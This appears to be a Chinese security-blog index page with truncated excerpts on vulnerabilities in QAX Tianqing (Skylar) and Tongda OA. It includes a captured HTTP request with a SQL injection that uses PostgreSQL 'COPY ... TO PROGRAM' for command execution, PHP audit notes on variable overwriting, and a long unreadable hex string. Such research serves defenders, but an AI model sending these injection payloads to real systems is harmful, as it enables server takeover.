天擎部分漏洞
在某大型活动中捕获到了天擎（QAX Skylar）的几个0day，跟代码审了下
0x01 第一类活动期间在WAF上拦截到一枚注入，数据包如下
POST /api/upload_client_conf.json?mid=马赛克 HTTP/1.1Host: 马赛克User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: keep-aliveContent-Length: 128Content-Type: application/json{"summary": {"0": {"nickname": "cpu='1';CopY(sElEct 1)TO pRogRAM 'e ...
审计通达OA时的一些记录
学习审计通达OA时发现的一些有意思的事
全局变量覆盖审计时发现前辈们提到了这个问题，跟了下存在问题的文件
比如存在变量覆盖的文件是pda\vote\list.php，
require_once "pda/auth.php";include_once "inc/conn.php";include_once "inc/utility_all.php";include_once "mobile/api/qyapp.vote.class.php";if ($P == "") { $P = $_COOKIE["PHPSESSID"];}else { $P = $_GET["P"];}
这里包含了inc/conn.php数据库连接文件
继续跟，发现包含了inc/td_config.php
<?phpinclude_once "inc/common.inc.php";$ROOT_PATH ...
通达OA 2013-2019（V11.X）前台多处注入点
f6ae6e37cafa8b635e173b811b985f64cc4dc9d53b5e11c39587f78adc381a31db73c6dbba5d5a7c259f9a980eafd97d4dfe18c81555417cbbf70c5f3657ea8c7e189c96475afc18ca05d6405e0e335a463aad7e770fc9e51bcfe996bee94b8259008eb5b9bba38e566a75f8e0caf04adeb9f31f1993cb2924183c17241aa5fc403703f125504a25a6521ff8fffd49dee1e09bc703bf84f0845c8be7938b9f4761acf8b55189aac692aa04e97aa7c460293067faac7fb4827a197206aec814c73f13fb9903d7e24593482e7385702b723acca845431fb48155ca62bebdfb687030b37ad6cc207a0d2c457e749f5022c2bd7c039121228cdf3 ...
